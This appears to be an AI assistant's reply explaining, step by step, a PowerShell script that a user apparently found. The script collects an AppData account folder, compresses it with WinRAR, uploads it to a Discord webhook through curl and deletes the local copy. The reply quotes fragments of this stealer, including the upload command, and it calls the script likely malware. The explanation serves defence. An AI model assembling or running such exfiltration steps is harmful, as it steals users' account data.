#### ChatGPT:
Yes, it “works” (on a Windows machine with PowerShell + WinRAR installed), and what it does is pretty important from a security standpoint.

In plain terms: **it looks like a data collection + compression + upload script that sends local files to a Discord webhook.**

Here’s what it does step by step:

---

### 1. Picks a target folder

```powershell
$f="$env:APPDATA\.ogulniega\profile\_IAS_ACCOUNTS_DO_NOT_SEND_TO_ANYONE"
```

It targets a hidden-ish folder inside your AppData roaming directory:

- `AppData\Roaming\.ogulniega\profile\_IAS_ACCOUNTS_DO_NOT_SEND_TO_ANYONE`

That folder name strongly suggests “account/data storage” (and ironically includes “DO\_NOT\_SEND\_TO\_ANYONE”).

---

### 2. Checks if the folder exists

```powershell
if(Test-Path $f)
```

If the folder is not there, the script does nothing.

---

### 3. Checks for WinRAR

```powershell
$rar="C:\Program Files\WinRAR\rar.exe"
if(Test-Path $rar)
```

It requires WinRAR’s command-line tool.

---

### 4. Creates a timestamped archive name

```powershell
$timestamp=Get-Date -Format 'yyyy-MM-dd_HH-mm-ss'
$rarName="$COMPUTERNAME_$USERNAME_$timestamp.rar"
```

This makes a uniquely named archive like:

```
PCNAME_username_2026-06-03_12-30-00.rar
```

---

### 5. Copies the target folder into a temp staging directory

```powershell
$tempDir="$env:TEMP\ias_package"
Copy-Item ... -Recurse
```

So it stages the data before compression.

---

### 6. Compresses it using WinRAR

```powershell
& $rar a -r -ep1 -m5 ...
```

This:

- creates a `.rar` archive
- recursively includes files
- uses medium-high compression
- stores it in `%TEMP%`

---

### 7. Deletes the temporary folder

```powershell
Remove-Item $tempDir -Recurse -Force
```

Cleans up staging files.

---

### 8. Uploads the archive to Discord via webhook

```powershell
curl.exe -s -X POST -F "file=@..." "https://canary.discord.com/api/webhooks/..."
```

This is the most important part:

- It uploads the `.rar` file
- Directly to a **Discord webhook URL**
- No authentication needed beyond the webhook link

---

### 9. Deletes the archive afterward

```powershell
Remove-Item "$env:TEMP\$rarName"
```

Cleans traces locally.

---

# 🚨 What this script *really is*

This is effectively:

> **“Collect files from a specific folder → compress → upload to Discord → delete local copy”**

That pattern is commonly seen in:

- credential stealers
- game account grabbers
- malware “exfiltration” tools
- RAT (remote access trojan) components

The folder name `_IAS_ACCOUNTS_DO_NOT_SEND_TO_ANYONE` is especially suspicious because:

- it looks like it’s intentionally hiding or storing sensitive account data
- and then gets packaged and sent out anyway

---

# ⚠️ Key risk

If this ran on your machine:

- Whatever is inside that folder is being **sent externally**
- The destination is a **Discord server controlled by whoever owns that webhook**
- They receive the archive automatically

---

# If you found this on your system

Treat it as potentially malicious unless you *100% know its origin*.

Typical next checks:

- What is inside `.ogulniega\profile\`?
- Was this script in a `.ps1`, `.bat`, or injected into a shortcut?
- Check browser, game, or “cracked software” installs (common source)

---

If you want, paste the contents of that folder path or tell me where you found the script—I can help you assess exactly what was being collected.
